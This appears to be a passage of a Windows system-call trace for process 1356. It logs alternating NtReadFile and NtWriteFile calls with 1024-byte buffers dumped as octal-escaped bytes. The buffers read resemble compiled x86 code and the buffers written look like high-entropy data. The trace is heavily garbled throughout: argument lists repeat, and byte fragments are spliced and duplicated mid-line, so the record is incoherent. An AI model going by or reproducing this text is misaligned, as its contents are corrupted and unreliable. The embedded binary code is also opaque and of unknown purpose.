"\313\372\262.\223\13\323\310aZ7=P\317\12qJ\303\370\2119\210\237\222\271\226\324~\205\247\230;\363*]\243\273n\2576\363\204S\3746\256\307q\357fNj\333[T*P;J\215\337X\361h\356\333\3479_\0t#$\323u\304,\371\206L\347\207\245\233LB\2Uj\216\25\244\225\326\350\3'C!\371\16\16\225)\5\273&\24\354\246\257\312\\37.\24$\234\274\310K\37Y\2507W\337\334\325\274'\273\313\10b\211\227P\201\277\230\7G\5\267\204"\216E\351\3537\4\22\336\2070\312U\6m\320e\13d\342\30\233\366\322'*\327\275z\304\332\326s\371\350\265h\217\370p\341\234\333.\177\34\306\15\275\5\323\240\261zh\300\24\327\241?#\241B\}\17\231c[\27\17\237\320\213\13gP\222\23X\345|T"\232\17\374\270\317\335g~\237\372$~\227\6""U\275\211,T\361\236\301\27\263k\313\320?\271h\0\262\255\300\244][i7\270\32\374\272\350\3L-d\206\2 \363V\242\312\3206\32\366\33\22\362i%\5E\3\33R\372=\316\264\23P\247u\4\201D\307\23\16\275\374\225 \332\334\207\350c\223\271\330J\12\247\342F\215\254\352r\25\7GrZ9\267\200\223+\3713O\376z\376\316\247\242\34\32\255\271l\230N\203\320\377\367\17\35\7\313RF\363Gb:2\145\34\306\2244\266<\367\372\347*\341\214\334gVN\15\233\34\212\347\342@\367t\374 \224\13\201CO\32\257\306G,=\6\376cw\20\3723Q\310\273\330\373M\265VYo\232\360{.\344\266\253\177\265\262\364\206\352\253\370\244~\306\2327\370\10y\216\365\215p\277\217b\237_\246)\234(\257\32\327\344\251Gk\316\33\332\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 274\264\271\343\260\311l\4\14\343\221RNV\2\334 (92, 0, 0, 0, "\313\372\262.\223\13\323\310aZ7=P\317\12qJ\303\370\2119\210\237\222\271\226\324~\205\247\230;\363*]\243\273n\2576\363\204S\3746\256\307q\357fNj\333[T*P;J\215\337X\361h\356\333\3479_\0t#$\323u\304,\371\206L\347\207\245\233LB\2Uj\216\25\244\225\326\350\3'C!\371\16\16\225)\5\273&\24\354\246\257\312\\37.\24$\234\274\310K\37Y\2507W\337\334\325\274'\273\313\10b\211\227P\201\277\230\7G\5\267\204"\216E\351\3537\4\22\336\2070\312U\6m\320e\13d\342\30\233\366\322'*\327\275z\304\332\326s\371\350\265h\217\370p\341\234\333.\177\34\306\15\275\5\323\240\261zh\300\24\327\241?#\241B\}\17\231c[\27\17\237\320\213\13gP\222\23X\345|T"\232\17\374\270\317\335g~\237\372$~\227\6""U\275\211,T\361\236\301\27\263k\313\320?\271h\0\262\255\300\244][i7\270\32\374\272\350\3L-d\206\2 \363V\242\312\3206\32\366\33\22\362i%\5E\3\33R\372=\316\264\23P\247u\4\201D\307\23\16\275\374\225 \332\334\207\350c\223\271\330J\12\247\342F\215\254\352r\25\7GrZ9\267\200\223+\3713O\376z\376\316\247\242\34\32\255\271l\230N\203\320\377\367\17\35\7\313RF\363Gb:2\145\34\306\2244\266<\367\372\347*\341\214\334gVN\15\233\34\212\347\342@\367t\374 \224\13\201CO\32\257\306G,=\6\376cw\20\3723Q\310\273\330\373M\265VYo\232\360{.\344\266\253\177\265\262\364\206\352\253\370\244~\306\2327\370\10y\216\365\215p\277\217b\237_\246)\234(\257\32\327\344\251Gk\316\33\332\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01066  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\323\375\377\377\215\205\367\366\377\377Ph\5\1\0\0\350\252\363\376\377\215\205\354\366\377\377\215\225\367\366\377\377\271\5\1\0\0\350\310\330\376\377\377\265\354\366\377\377hps\1@\215\225\344\366\377\3773\300\350\264\275\376\377\213\205\344\366\377\377\215\225\350\366\377\377\350\337\376\377\377\377\265\350\366\377\377\215\205\360\366\377\377\272\3\0\0\0\350\235\331\376\377\213\205\360\366\377\377\350\322\332\376\377\213\370j\0h\200\0\0\0j\3j\0j\1h\0\0\0\200\215\225\340\366\377\3773\300\350a\275\376\377\213\205\340\366\377\377\350\246\332\376\377P\350h\362\376\377\213\330j\0j\0h\0>\0\0S\350w\363\376\377j\0h\200\0\0\0j\2j\0j\2h\0\0\0@W\350?\362\376\377\213\360j\0\215E\374Ph\0\4\0\0\215\205\374\373\377\377PS\350-\363\376\377h\377\3\0\0\215\215\374\367\377\377\215\205\374\373\377\377\272\377\3\0\0\350z\375\377\377j\0\215E\374P\213E\374P\215\205\374\367\377\377PV\350C\363\376\377\201}\374\0\4\0\0s\255S\350\304\361\376\377V\350\276\361\376\377j\0W\350\36\363\376\3773\300ZYYd\211\20h_s\1@\215\205\340\366\377\377\272\5\0\0\0\350Q\325\376\377\303\351\247\316\376\377\353\350_^[\213\345]\303\0\0\377\377\377\377\1\0\0\0\\0\0\0U\213\354\203\304\370SV3\311\211M\370\213\362\211E\374\213E\374\350\252\331\376\3773\300Uh\355s\1@d\3770d\211 \213]\374\205\333t\5\203\353\4\213\33j\0j\12j\0j\24\215U\370\213\303\350.\371\377\377\213U\370\215M\374\213E\374\350d\366\376\377\213\306\213U\374\350\6\325\376\3773\300ZYYd\211\20h\364s\1@\215E\370\272\2\0\0\0\350\274\324\376\377\303\351\22\316\376\377\353\353", ) , ) == 0x0
 01067  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ",\333\254\241\357F2g\361b_'qb\201\202\260*G\247Y\231v\11\302q\210(\256\233dU\250?\225\32Z>\200\330\375I~\273\3\371\22t\210\204\261'n~\312\315\3MH\201\200\10c\220\255~\274\2'{\223Ze\3267\203\214v=\31\324\213\226\317$\324\317\350)B\312~\366$c\33\6u\17\256\35\334\332\35\240\332\2029\200\320v\302\304 \334\356Pj\302\250\210\223\304V\366\236Jy\33#)\374\351\234Q\3438\354\324\362Y\334Z\347\304b\246\243\370\352\1e\27>q\260R9\372iQ`f\341\233m=\231\305\320\315\274 j=\240\321\303t\373\234\265\34T;\24K\214D.\347k?U\27\13I/\300\303\247N\233\323\375v\26\3503\36#\31\30\2239zW`3#D\352\267\227\3561\252\344\342%\252\200UJ\332KV\321\265\1\227w)\300\332\310W\11\133\366fK\274a^*\30\236\11\375(\266i\331'\251t\331\17e\232d\12\3\30$\265\7<\23j\353Wx\323\204QUh\304\253\252\27T\331k\306~gc.m\3171\302\326\2053\212\33D\265c\377\260\361\275w\331G\363\256\4\365\173*[\320\335\15\203\362d\302\241T#9\2\5\205_\221\373\202x\20\206\311\330G\20\204\24\272\377\304\271;;Z*E\307h\230^aCJ\314\371\1\235\13\35_q>\340\257{\327\325\376\10\307vz>\252_\274SW.\304 }q6W\347\342\225_\204\247\217\210\337[D3\324\213\213\344t\10\202;\277\263\212\233v\251\367\4\343\254cQ\313\265\222`\343d\207\370W\263\215F\273\2778X<\207\236\353\15\3621\322\376\275\254\351\242\334\215\177\334\26z\247\314~\17\326\365\316\347d\15\5\243\261\276\344\307\260Z\311\346{\277]C)\32\220\200", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01068  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\215U\274\270Hx\1@\350g\375\377\377\213E\274\3503\327\376\377PS\377\26\243\244\363\1@\215U\270\270\x\1@\350I\375\377\377\213E\270\350\25\327\376\377PS\377\26\243\220\363\1@\215U\264\270tx\1@\350+\375\377\377\213E\264\350\367\326\376\377PS\377\26\243\250\363\1@\215U\260\270\220x\1@\350\15\375\377\377\213E\260\350\331\326\376\377PS\377\26\243\200\363\1@\215U\254\270\250x\1@\350\357\374\377\377\213E\254\350\273\326\376\377PS\377\26\243\254\363\1@S\377\25\244\363\1@3\300ZYYd\211\20h\277v\1@\215E\254\272\25\0\0\0\350\361\321\376\377\303\351G\313\376\377\353\353^[\213\345]\303\0\0\0\377\377\377\377\10\0\0\0\11&6+#+{{\0\0\0\0\377\377\377\377\16\0\0\0(\25\5"\1\33\267\23\34\13\12\3\2\0\0\377\377\377\377\13\0\0\0/\37\13\16\4\244\32\30\207\0\377\377\377\377\16\0\0\0<\25\54\32\30\20&\30\21\27\33\25\3\0\0\377\377\377\377\10\0\0\0\20&%!\0.$,\0\0\0\0\377\377\377\377\13\0\0\0+\10\32)\31\35\27 \35\17\23\0\377\377\377\377\13\0\0\0/\1\1\34\259\23\35\20\31\23\0\377\377\377\377\14\0\0\0?\13\34\5\34\27'\34\7\23\26\11\0\0\0\0\377\377\377\377\20\0\0\0"\27\7 \35\4\22\31\359\24\37\6\26\14\1\0\0\0\0\377\377\377\377\21\0\0\0 \26\25\21&\5\27\32\37\10\17?\26\31\32\4\16\0\0\0\377\377\377\377\20\0\0\06\27\7 \35\4\22\31\359\24\37\6\26\14\1\0\0\0\0\377\377\377\377\16\0\0\0,\2\24\23\7\21%\4\30\33\34\34\30\0\0\377\377\377\377\15\0\0\0(\6\36\25 \26\7\32\3\5\33\13", ) \1\33\267\23\34\13\12\3\2\0\0\377\377\377\377\13\0\0\0/\37\13\16\4\244\32\30\207\0\377\377\377\377\16\0\0\0<\25\54\32\30\20&\30\21\27\33\25\3\0\0\377\377\377\377\10\0\0\0\20&%!\0.$,\0\0\0\0\377\377\377\377\13\0\0\0+\10\32)\31\35\27 \35\17\23\0\377\377\377\377\13\0\0\0/\1\1\34\259\23\35\20\31\23\0\377\377\377\377\14\0\0\0?\13\34\5\34\27'\34\7\23\26\11\0\0\0\0\377\377\377\377\20\0\0\0 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\215U\274\270Hx\1@\350g\375\377\377\213E\274\3503\327\376\377PS\377\26\243\244\363\1@\215U\270\270\x\1@\350I\375\377\377\213E\270\350\25\327\376\377PS\377\26\243\220\363\1@\215U\264\270tx\1@\350+\375\377\377\213E\264\350\367\326\376\377PS\377\26\243\250\363\1@\215U\260\270\220x\1@\350\15\375\377\377\213E\260\350\331\326\376\377PS\377\26\243\200\363\1@\215U\254\270\250x\1@\350\357\374\377\377\213E\254\350\273\326\376\377PS\377\26\243\254\363\1@S\377\25\244\363\1@3\300ZYYd\211\20h\277v\1@\215E\254\272\25\0\0\0\350\361\321\376\377\303\351G\313\376\377\353\353^[\213\345]\303\0\0\0\377\377\377\377\10\0\0\0\11&6+#+{{\0\0\0\0\377\377\377\377\16\0\0\0(\25\5"\1\33\267\23\34\13\12\3\2\0\0\377\377\377\377\13\0\0\0/\37\13\16\4\244\32\30\207\0\377\377\377\377\16\0\0\0<\25\54\32\30\20&\30\21\27\33\25\3\0\0\377\377\377\377\10\0\0\0\20&%!\0.$,\0\0\0\0\377\377\377\377\13\0\0\0+\10\32)\31\35\27 \35\17\23\0\377\377\377\377\13\0\0\0/\1\1\34\259\23\35\20\31\23\0\377\377\377\377\14\0\0\0?\13\34\5\34\27'\34\7\23\26\11\0\0\0\0\377\377\377\377\20\0\0\0"\27\7 \35\4\22\31\359\24\37\6\26\14\1\0\0\0\0\377\377\377\377\21\0\0\0 \26\25\21&\5\27\32\37\10\17?\26\31\32\4\16\0\0\0\377\377\377\377\20\0\0\06\27\7 \35\4\22\31\359\24\37\6\26\14\1\0\0\0\0\377\377\377\377\16\0\0\0,\2\24\23\7\21%\4\30\33\34\34\30\0\0\377\377\377\377\15\0\0\0(\6\36\25 \26\7\32\3\5\33\13", ) , ) == 0x0
 01069  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\351z\1\220p\356\204|G)Jr\36 \355\317\25K\11\5\362\25\374D\274\333\316\336\226\235Q\4<\226rcc\232FF\375\2535\211\313\313\1\302\24g%\270B\376(\24\313PI\234id\372Xbm\221\253\232\256E\2661\341\3^\324(\365@HC\4\35g8M\304\241A\351\200~\326\262\17\12\276\36M\267N\243"\220UY^\200iR1\350E\250sUT\322\265,\234\262\360\205\33N\361|\254\350\217`\315\3779\i\2373\332\337AT\15\223\254\362uW\52~\230&\340\31^I\220\247$v\31\333"\35\205\6k\251V\303\315i\273\216w\2367\213I\365\243]\324\224\261Eb|\260\214\2\15(\211\356\303\303\322?\372L *\224\371"\211\0\252\333\357m\271'52\225~\273Cl\204t\274\272\201\277\24\325\325ar~\202$lDWg\232X\207\212\312E\362\264\267)\263\256\306\234\353R\330\3]\242\265\212M\341G!Q\354~\351\345\261\340\10\21\354%\323\21z\367~)8\6\202\206\313U\177\370t\251\267\\210P1\375\206\232\344'\305<\301\263Z4\0|x\367"\224"\370nY\315\271\227w$\323\350\34\304\255\303\335\326*\7\211\371\35\214\3H\336z~\377\345\264 \32\301ddb\15\201\2304\326\225\217\271\314O\16f3e\37\17\252\204q\202\32i\22\7F\365\273\270\357\367\325\236\351\354\266\310\255\363\255\10\260Pw\303`\215\2553\310\32\363\246/\240\215\251\12}Z6d@\214\320\307\356J\2164\3625\311\240}e\257\'e[\210\341\226\30;\375]=5\317\267g\303\217\34\24F\271\233\332d\206w4!\232+\255\265\240\300\32\243\330\211,\313\307H\242r\213\255\354}\302\206\24\345D\274\371\322\16\277h)\213\30\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \220UY^\200iR1\350E\250sUT\322\265,\234\262\360\205\33N\361|\254\350\217`\315\3779\i\2373\332\337AT\15\223\254\362uW\52~\230&\340\31^I\220\247$v\31\333 (92, 0, 0, 0, "\351z\1\220p\356\204|G)Jr\36 \355\317\25K\11\5\362\25\374D\274\333\316\336\226\235Q\4<\226rcc\232FF\375\2535\211\313\313\1\302\24g%\270B\376(\24\313PI\234id\372Xbm\221\253\232\256E\2661\341\3^\324(\365@HC\4\35g8M\304\241A\351\200~\326\262\17\12\276\36M\267N\243"\220UY^\200iR1\350E\250sUT\322\265,\234\262\360\205\33N\361|\254\350\217`\315\3779\i\2373\332\337AT\15\223\254\362uW\52~\230&\340\31^I\220\247$v\31\333"\35\205\6k\251V\303\315i\273\216w\2367\213I\365\243]\324\224\261Eb|\260\214\2\15(\211\356\303\303\322?\372L *\224\371"\211\0\252\333\357m\271'52\225~\273Cl\204t\274\272\201\277\24\325\325ar~\202$lDWg\232X\207\212\312E\362\264\267)\263\256\306\234\353R\330\3]\242\265\212M\341G!Q\354~\351\345\261\340\10\21\354%\323\21z\367~)8\6\202\206\313U\177\370t\251\267\\210P1\375\206\232\344'\305<\301\263Z4\0|x\367"\224"\370nY\315\271\227w$\323\350\34\304\255\303\335\326*\7\211\371\35\214\3H\336z~\377\345\264 \32\301ddb\15\201\2304\326\225\217\271\314O\16f3e\37\17\252\204q\202\32i\22\7F\365\273\270\357\367\325\236\351\354\266\310\255\363\255\10\260Pw\303`\215\2553\310\32\363\246/\240\215\251\12}Z6d@\214\320\307\356J\2164\3625\311\240}e\257\'e[\210\341\226\30;\375]=5\317\267g\303\217\34\24F\271\233\332d\206w4!\232+\255\265\240\300\32\243\330\211,\313\307H\242r\213\255\354}\302\206\24\345D\274\371\322\16\277h)\213\30\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \211\0\252\333\357m\271'52\225~\273Cl\204t\274\272\201\277\24\325\325ar~\202$lDWg\232X\207\212\312E\362\264\267)\263\256\306\234\353R\330\3]\242\265\212M\341G!Q\354~\351\345\261\340\10\21\354%\323\21z\367~)8\6\202\206\313U\177\370t\251\267\\210P1\375\206\232\344'\305<\301\263Z4\0|x\367 (92, 0, 0, 0, "\351z\1\220p\356\204|G)Jr\36 \355\317\25K\11\5\362\25\374D\274\333\316\336\226\235Q\4<\226rcc\232FF\375\2535\211\313\313\1\302\24g%\270B\376(\24\313PI\234id\372Xbm\221\253\232\256E\2661\341\3^\324(\365@HC\4\35g8M\304\241A\351\200~\326\262\17\12\276\36M\267N\243"\220UY^\200iR1\350E\250sUT\322\265,\234\262\360\205\33N\361|\254\350\217`\315\3779\i\2373\332\337AT\15\223\254\362uW\52~\230&\340\31^I\220\247$v\31\333"\35\205\6k\251V\303\315i\273\216w\2367\213I\365\243]\324\224\261Eb|\260\214\2\15(\211\356\303\303\322?\372L *\224\371"\211\0\252\333\357m\271'52\225~\273Cl\204t\274\272\201\277\24\325\325ar~\202$lDWg\232X\207\212\312E\362\264\267)\263\256\306\234\353R\330\3]\242\265\212M\341G!Q\354~\351\345\261\340\10\21\354%\323\21z\367~)8\6\202\206\313U\177\370t\251\267\\210P1\375\206\232\344'\305<\301\263Z4\0|x\367"\224"\370nY\315\271\227w$\323\350\34\304\255\303\335\326*\7\211\371\35\214\3H\336z~\377\345\264 \32\301ddb\15\201\2304\326\225\217\271\314O\16f3e\37\17\252\204q\202\32i\22\7F\365\273\270\357\367\325\236\351\354\266\310\255\363\255\10\260Pw\303`\215\2553\310\32\363\246/\240\215\251\12}Z6d@\214\320\307\356J\2164\3625\311\240}e\257\'e[\210\341\226\30;\375]=5\317\267g\303\217\34\24F\271\233\332d\206w4!\232+\255\265\240\300\32\243\330\211,\313\307H\242r\213\255\354}\302\206\24\345D\274\371\322\16\277h)\213\30\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \370nY\315\271\227w$\323\350\34\304\255\303\335\326*\7\211\371\35\214\3H\336z~\377\345\264 \32\301ddb\15\201\2304\326\225\217\271\314O\16f3e\37\17\252\204q\202\32i\22\7F\365\273\270\357\367\325\236\351\354\266\310\255\363\255\10\260Pw\303`\215\2553\310\32\363\246/\240\215\251\12}Z6d@\214\320\307\356J\2164\3625\311\240}e\257\'e[\210\341\226\30;\375]=5\317\267g\303\217\34\24F\271\233\332d\206w4!\232+\255\265\240\300\32\243\330\211,\313\307H\242r\213\255\354}\302\206\24\345D\274\371\322\16\277h)\213\30\253", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01070  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+\367\201\376\364\1\0\0}\13+\307=\350\3\0\0}\2\263\1\213\303_^[\303\220U\213\354\201\304\254\375\377\377SVW3\311\211\215\254\375\377\377\211\215\264\375\377\377\211\215\260\375\377\377\211U\374\211E\370\213E\374\350\356\322\376\3773\300Uhj}\1@d\3770d\211 \350\347\376\377\377\350r\377\377\377\215\205\207\376\377\3773\311\272\4\1\0\0\350\14\273\376\377h\4\1\0\0\215\205\207\376\377\377Pj\0\377\25\254\363\1@\213E\370\213@<\3E\370\211E\360\213E\370\350@\376\377\377\211E\340\213E\340\350y\261\376\377\211E\3543\322Uh=}\1@d\3772d\211"\213E\354\211E\364\213E\360\213@T\213U\360\215r\30\213U\360\17\267R\24\3\362\213U\360\17\267z\6O\205\377r\27G3\333\215\24\233;D\326\24v\7\215\4\233\213D\306\24COu\354\213\310\213U\370\213E\364\350M\354\376\377\213E\360\213P8\213E\360\213@T\350\250\375\377\377\3E\364\211E\364\213E\360\17\267x\6O\205\377rrG3\333\215\4\233\213D\306\20\205\300v>\215\24\233;D\326\10v\7\215\4\233\213D\306\10\215\24\233\213T\326\24\3U\370\213\310\213E\364\350\370\353\376\377\215\4\233\213D\306\10\213U\360\213R8\350R\375\377\377\3E\364\211E\364\353"\215\4\233\203|\306\10\0t\30\215\4\233\213D\306\10\213U\360\213R8\350.\375\377\377\3E\364\211E\364COu\221\215E\2143\311\272D\0\0\0\350\331\271\376\377\215\205\270\375\377\3773\311\272\314\0\0\0\350\307\271\376\377\203}\374\0t^\215E\320P\215E\214Pj\0j\0j\4j\0j\0j\0\215\205\260\375\377\377\215\225\207\376\377\377\271\5\1\0\0\350\13\317\376\377\377\265\260\375\377\377h\200}\1@", ) \213E\354\211E\364\213E\360\213@T\213U\360\215r\30\213U\360\17\267R\24\3\362\213U\360\17\267z\6O\205\377r\27G3\333\215\24\233;D\326\24v\7\215\4\233\213D\306\24COu\354\213\310\213U\370\213E\364\350M\354\376\377\213E\360\213P8\213E\360\213@T\350\250\375\377\377\3E\364\211E\364\213E\360\17\267x\6O\205\377rrG3\333\215\4\233\213D\306\20\205\300v>\215\24\233;D\326\10v\7\215\4\233\213D\306\10\215\24\233\213T\326\24\3U\370\213\310\213E\364\350\370\353\376\377\215\4\233\213D\306\10\213U\360\213R8\350R\375\377\377\3E\364\211E\364\353 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+\367\201\376\364\1\0\0}\13+\307=\350\3\0\0}\2\263\1\213\303_^[\303\220U\213\354\201\304\254\375\377\377SVW3\311\211\215\254\375\377\377\211\215\264\375\377\377\211\215\260\375\377\377\211U\374\211E\370\213E\374\350\356\322\376\3773\300Uhj}\1@d\3770d\211 \350\347\376\377\377\350r\377\377\377\215\205\207\376\377\3773\311\272\4\1\0\0\350\14\273\376\377h\4\1\0\0\215\205\207\376\377\377Pj\0\377\25\254\363\1@\213E\370\213@<\3E\370\211E\360\213E\370\350@\376\377\377\211E\340\213E\340\350y\261\376\377\211E\3543\322Uh=}\1@d\3772d\211"\213E\354\211E\364\213E\360\213@T\213U\360\215r\30\213U\360\17\267R\24\3\362\213U\360\17\267z\6O\205\377r\27G3\333\215\24\233;D\326\24v\7\215\4\233\213D\306\24COu\354\213\310\213U\370\213E\364\350M\354\376\377\213E\360\213P8\213E\360\213@T\350\250\375\377\377\3E\364\211E\364\213E\360\17\267x\6O\205\377rrG3\333\215\4\233\213D\306\20\205\300v>\215\24\233;D\326\10v\7\215\4\233\213D\306\10\215\24\233\213T\326\24\3U\370\213\310\213E\364\350\370\353\376\377\215\4\233\213D\306\10\213U\360\213R8\350R\375\377\377\3E\364\211E\364\353"\215\4\233\203|\306\10\0t\30\215\4\233\213D\306\10\213U\360\213R8\350.\375\377\377\3E\364\211E\364COu\221\215E\2143\311\272D\0\0\0\350\331\271\376\377\215\205\270\375\377\3773\311\272\314\0\0\0\350\307\271\376\377\203}\374\0t^\215E\320P\215E\214Pj\0j\0j\4j\0j\0j\0\215\205\260\375\377\377\215\225\207\376\377\377\271\5\1\0\0\350\13\317\376\377\377\265\260\375\377\377h\200}\1@", ) , ) == 0x0
 01071  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\337[\333\334/$\342\326\347\233X\315\243 \357O\330\276&\250\3\277>j\306=\206\233\354nf\254\235\213\275\217\362\203\251\240,\306=\375h\365!\265G\237M}1\264@\267\357=\353e\354\364\343\305\307\344x\222\203\367\332\277\256]\233F\261\261_8\1!6\320\373\2639\306\207y\35\27Q#\362\244\356I\214U\232\266X\3\220\271K$"\262H\313cJy\214\202[\15\362\34E\355\272\3019\4\233\1\336\273?\216a\263\377,\3338\224\242\246\22\337\333\367\33h\24HYd\223\354\375s\363m2\255\374j.\230\235\353\118q,\243|;\274HIE\264X`\264\204C\327\301\307\24W)zo\347|6d\2117<\227\31\20\177\220\311\216\16/\Dq\3034G\205\2071Xb\270\203\374E\350T\257\30Z)|\307O\352\247EG\265\0ME\214\215\260\312\355"\322F|\303\6\275s\313\337\375\310\207\277\36T"0\302\212\274\317l}\211\2\267\37\250\350\222\357-%\241\312\16\323\203\257\270\346z{\251\255\345\25\370\0\222\3667q\350\221!j,\25\372\12\376\5\36\3\25\12~\331\242\26e\10\315\262\35\271j\236\372-:QnI*\355\32\313B\272\2564W\12\26a8i\335\273o~\250LY\225\376\254\22~6a{\347\237\325(\24@\365\273\350N\210\367\356\236j\303J\227A\346\212C\300\276F\347\5\335\2223Z]\257>\27\265\275'{Q|:\217\375\303\247.\147\372`|F\362\06\22\363b\27mD`:\271{\3344\336\263\200t2\266R\376\224?\366O\315\204\345\270\367E\367\377\7\1\204\324\240X\240\24xl)\232+XC\366?IPsd\271\203P\215\363\3F:| m.\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \262H\313cJy\214\202[\15\362\34E\355\272\3019\4\233\1\336\273?\216a\263\377,\3338\224\242\246\22\337\333\367\33h\24HYd\223\354\375s\363m2\255\374j.\230\235\353\118q,\243|;\274HIE\264X`\264\204C\327\301\307\24W)zo\347|6d\2117<\227\31\20\177\220\311\216\16/\Dq\3034G\205\2071Xb\270\203\374E\350T\257\30Z)|\307O\352\247EG\265\0ME\214\215\260\312\355303\220\220y\357\222\377\20\342\251YT\32 (92, 0, 0, 0, "\337[\333\334/$\342\326\347\233X\315\243 \357O\330\276&\250\3\277>j\306=\206\233\354nf\254\235\213\275\217\362\203\251\240,\306=\375h\365!\265G\237M}1\264@\267\357=\353e\354\364\343\305\307\344x\222\203\367\332\277\256]\233F\261\261_8\1!6\320\373\2639\306\207y\35\27Q#\362\244\356I\214U\232\266X\3\220\271K$"\262H\313cJy\214\202[\15\362\34E\355\272\3019\4\233\1\336\273?\216a\263\377,\3338\224\242\246\22\337\333\367\33h\24HYd\223\354\375s\363m2\255\374j.\230\235\353\118q,\243|;\274HIE\264X`\264\204C\327\301\307\24W)zo\347|6d\2117<\227\31\20\177\220\311\216\16/\Dq\3034G\205\2071Xb\270\203\374E\350T\257\30Z)|\307O\352\247EG\265\0ME\214\215\260\312\355"\322F|\303\6\275s\313\337\375\310\207\277\36T"0\302\212\274\317l}\211\2\267\37\250\350\222\357-%\241\312\16\323\203\257\270\346z{\251\255\345\25\370\0\222\3667q\350\221!j,\25\372\12\376\5\36\3\25\12~\331\242\26e\10\315\262\35\271j\236\372-:QnI*\355\32\313B\272\2564W\12\26a8i\335\273o~\250LY\225\376\254\22~6a{\347\237\325(\24@\365\273\350N\210\367\356\236j\303J\227A\346\212C\300\276F\347\5\335\2223Z]\257>\27\265\275'{Q|:\217\375\303\247.\147\372`|F\362\06\22\363b\27mD`:\271{\3344\336\263\200t2\266R\376\224?\366O\315\204\345\270\367E\367\377\7\1\204\324\240X\240\24xl)\232+XC\366?IPsd\271\203P\215\363\3F:| m.\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 0\302\212\274\317l}\211\2\267\37\250\350\222\357-%\241\312\16\323\203\257\270\346z{\251\255\345\25\370\0\222\3667q\350\221!j,\25\372\12\376\5\36\3\25\12~\331\242\26e\10\315\262\35\271j\236\372-:QnI*\355\32\313B\272\2564W\12\26a8i\335\273o~\250LY\225\376\254\22~6a{\347\237\325(\24@\365\273\350N\210\367\356\236j\303J\227A\346\212C\300\276F\347\5\335\2223Z]\257>\27\265\275'{Q|:\217\375\303\247.\147\372`|F\362\06\22\363b\27mD`:\271{\3344\336\263\200t2\266R\376\224?\366O\315\204\345\270\367E\367\377\7\1\204\324\240X\240\24xl)\232+XC\366?IPsd\271\203P\215\363\3F:| m.\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01072  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "E\350PV\377\25\270\363\1@j\0\215E\360Ph\370\0\0\0\215\205\264\376\377\377PV\377\25\274\363\1@\201}\360\370\0\0\0\17\205\252\0\0\0j\1j\0\17\267\205\272\376\377\377H\3\300\3\300\3\300\215\4\200PV\377\25\270\363\1@j\0\215E\360Pj(\215\205\214\376\377\377PV\377\25\274\363\1@\213\205\240\376\377\377\3\205\234\376\377\377\211E\354j\0V\377\25\300\363\1@\213\370+}\354\205\377vMj\0j\0\213E\354PV\377\25\270\363\1@\213\307\350\206\255\376\377\213U\370\211\2j\0\215E\360PW\213E\370\213\0PV\377\25\274\363\1@;}\360u\20\263\1\213E\364\2118V\377\25\304\363\1@\353"V\377\25\304\363\1@\353\31V\377\25\304\363\1@\353\20V\377\25\304\363\1@\353\7V\377\25\304\363\1@3\300ZYYd\211\20h\7\177\1@\215E\374\350\205\311\376\377\303\351\377\302\376\377\353\360\213\303_^[\213\345]\303S\213\330\350@\261\376\377\270\11\0\0\0\350^\261\376\377\243\340\366\1@\241\340\366\1@\203\370\11\17\207\271\0\0\0\377$\205<\177\1@d\177\1@r\177\1@\200\177\1@\216\177\1@\234\177\1@\252\177\1@\270\177\1@\306\177\1@\324\177\1@\342\177\1@\213\303\272\370\177\1@\350h\311\376\377[\303\213\303\272,\200\1@\350Z\311\376\377[\303\213\303\272p\200\1@\350L\311\376\377[\303\213\303\272\244\200\1@\350>\311\376\377[\303\213\303\272\360\200\1@\3500\311\376\377[\303\213\303\272 \201\1@\350"\311\376\377[\303\213\303\272T\201\1@\350\24\311\376\377[\303\213\303\272\240\201\1@\350\6\311\376\377[\303\213\303\272\10\202\1@\350\370\310\376\377[\303\213\303\272\204\202\1@\350\352\310\376\377[\303\377\377\377\377", ) V\377\25\304\363\1@\353\31V\377\25\304\363\1@\353\20V\377\25\304\363\1@\353\7V\377\25\304\363\1@3\300ZYYd\211\20h\7\177\1@\215E\374\350\205\311\376\377\303\351\377\302\376\377\353\360\213\303_^[\213\345]\303S\213\330\350@\261\376\377\270\11\0\0\0\350^\261\376\377\243\340\366\1@\241\340\366\1@\203\370\11\17\207\271\0\0\0\377$\205<\177\1@d\177\1@r\177\1@\200\177\1@\216\177\1@\234\177\1@\252\177\1@\270\177\1@\306\177\1@\324\177\1@\342\177\1@\213\303\272\370\177\1@\350h\311\376\377[\303\213\303\272,\200\1@\350Z\311\376\377[\303\213\303\272p\200\1@\350L\311\376\377[\303\213\303\272\244\200\1@\350>\311\376\377[\303\213\303\272\360\200\1@\3500\311\376\377[\303\213\303\272 \201\1@\350 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 